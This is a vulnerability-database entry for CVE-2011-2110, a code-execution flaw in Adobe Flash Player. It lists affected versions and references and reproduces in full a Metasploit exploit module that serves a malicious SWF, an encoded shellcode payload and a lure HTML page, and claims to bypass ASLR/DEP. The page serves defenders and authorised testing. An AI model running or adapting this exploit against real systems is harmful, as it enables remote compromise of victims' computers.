CVE-2011-2110
Description
Adobe Flash Player before 10.3.181.26 on Windows, Mac OS X, Linux, and Solaris, and 10.3.185.23 and earlier on Android, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in June 2011.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Adobe Flash Player - AVM Verification Logic Array Indexing Code Execution (Metasploit)
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.
Specifically, this issue occurs when indexing an array using an arbitrary value,
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
'Unknown' # malware version seen used in targeted attacks
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2011-2110'],
['OSVDB', '48268'],
['URL', 'http://www.adobe.com/devnet/swf.html'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Jun 21 2012',
'DefaultTarget' => 0))
end
def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end
def check_dependencies
use_zlib
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
code = rand_text_alpha(rand(6)+3) + ".txt"
sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""
sc.each_byte do | c |
shellcode << (xor_byte ^ c)
end
uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
bd_uri = Zlib::Deflate.deflate(uri)
uri = ""
bd_uri.each_byte do | c |
uri << (xor_byte ^ c)
end
bd_uri = uri.unpack("H*")[0]
obj_id = rand_text_alpha(rand(6)+3)
if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
Metasploit modules
OS impact
Linux kernel Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Not affected | โ |
macOS Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Not affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| adobe | flash_player | {"endIncluding":"10.3.181.23"} | |
| adobe | flash_player | 6.0.21.0 | |
| adobe | flash_player | 6.0.79 | |
| adobe | flash_player | 7.0 | |
| adobe | flash_player | 7.0.1 | |
| adobe | flash_player | 7.0.14.0 | |
| adobe | flash_player | 7.0.19.0 | |
| adobe | flash_player | 7.0.24.0 | |
| adobe | flash_player | 7.0.25 | |
| adobe | flash_player | 7.0.53.0 | |
| adobe | flash_player | 7.0.60.0 | |
| adobe | flash_player | 7.0.61.0 | |
| adobe | flash_player | 7.0.63 | |
| adobe | flash_player | 7.0.66.0 | |
| adobe | flash_player | 7.0.67.0 | |
| adobe | flash_player | 7.0.68.0 | |
| adobe | flash_player | 7.0.69.0 | |
| adobe | flash_player | 7.0.70.0 | |
| adobe | flash_player | 7.0.73.0 | |
| adobe | flash_player | 7.1 | |
| adobe | flash_player | 7.1.1 | |
| adobe | flash_player | 7.2 | |
| adobe | flash_player | 8.0 | |
| adobe | flash_player | 8.0.22.0 | |
| adobe | flash_player | 8.0.24.0 | |
| adobe | flash_player | 8.0.33.0 | |
| adobe | flash_player | 8.0.34.0 | |
| adobe | flash_player | 8.0.35.0 | |
| adobe | flash_player | 8.0.39.0 | |
| adobe | flash_player | 8.0.42.0 | |
| adobe | flash_player | 9.0 | |
| adobe | flash_player | 9.0.16 | |
| adobe | flash_player | 9.0.18d60 | |
| adobe | flash_player | 9.0.20 | |
| adobe | flash_player | 9.0.20.0 | |
| adobe | flash_player | 9.0.28 | |
| adobe | flash_player | 9.0.28.0 | |
| adobe | flash_player | 9.0.31 | |
| adobe | flash_player | 9.0.31.0 | |
| adobe | flash_player | 9.0.45.0 | |
| adobe | flash_player | 9.0.47.0 | |
| adobe | flash_player | 9.0.48.0 | |
| adobe | flash_player | 9.0.112.0 | |
| adobe | flash_player | 9.0.114.0 | |
| adobe | flash_player | 9.0.115.0 | |
| adobe | flash_player | 9.0.124.0 | |
| adobe | flash_player | 9.0.125.0 | |
| adobe | flash_player | 9.0.151.0 | |
| adobe | flash_player | 9.0.152.0 | |
| adobe | flash_player | 9.0.155.0 | |
| adobe | flash_player | 9.0.159.0 | |
| adobe | flash_player | 9.0.246.0 | |
| adobe | flash_player | 9.0.260.0 | |
| adobe | flash_player | 9.0.262.0 | |
| adobe | flash_player | 9.0.277.0 | |
| adobe | flash_player | 9.0.283.0 | |
| adobe | flash_player | 9.125.0 | |
| adobe | flash_player | 10.0.0.584 | |
| adobe | flash_player | 10.0.12.10 | |
| adobe | flash_player | 10.0.12.36 | |
| adobe | flash_player | 10.0.15.3 | |
| adobe | flash_player | 10.0.22.87 | |
| adobe | flash_player | 10.0.32.18 | |
| adobe | flash_player | 10.0.42.34 | |
| adobe | flash_player | 10.0.45.2 | |
| adobe | flash_player | 10.1.52.14.1 | |
| adobe | flash_player | 10.1.52.15 | |
| adobe | flash_player | 10.1.53.64 | |
| adobe | flash_player | 10.1.82.76 | |
| adobe | flash_player | 10.1.85.3 | |
| adobe | flash_player | 10.1.92.8 | |
| adobe | flash_player | 10.1.92.10 | |
| adobe | flash_player | 10.1.95.1 | |
| adobe | flash_player | 10.1.95.2 | |
| adobe | flash_player | 10.1.102.64 | |
| adobe | flash_player | 10.2.152 | |
| adobe | flash_player | 10.2.152.32 | |
| adobe | flash_player | 10.2.152.33 | |
| adobe | flash_player | 10.2.154.13 | |
| adobe | flash_player | 10.2.154.25 | |
| adobe | flash_player | 10.2.159.1 | |
| adobe | flash_player | 10.3.181.14 | |
| adobe | flash_player | 10.3.181.16 | |
| adobe | flash_player | 10.1.105.6 | |
| adobe | flash_player | 10.1.106.16 | |
| adobe | flash_player | 10.2.156.12 | |
| adobe | flash_player | 10.2.157.51 | |
| adobe | flash_player | 10.3.185.21 | |
References
- http://secunia.com/advisories/44924
- http://secunia.com/advisories/44941
- http://secunia.com/advisories/44950
- http://secunia.com/advisories/44964
- http://secunia.com/advisories/48308
- http://www.adobe.com/support/security/bulletins/apsb11-18.html
- http://www.redhat.com/support/errata/RHSA-2011-0869.html
- http://www.securitytracker.com/id?1025651
- http://www.us-cert.gov/cas/techalerts/TA11-166A.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/68029
- https://hermes.opensuse.org/messages/8782873
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14091
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16252
- http://secunia.com/advisories/44924
- http://secunia.com/advisories/44941
- http://secunia.com/advisories/44950
- http://secunia.com/advisories/44964
- http://secunia.com/advisories/48308
- http://www.adobe.com/support/security/bulletins/apsb11-18.html
- http://www.redhat.com/support/errata/RHSA-2011-0869.html
- http://www.securitytracker.com/id?1025651
- http://www.us-cert.gov/cas/techalerts/TA11-166A.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/68029
- https://hermes.opensuse.org/messages/8782873
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14091
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.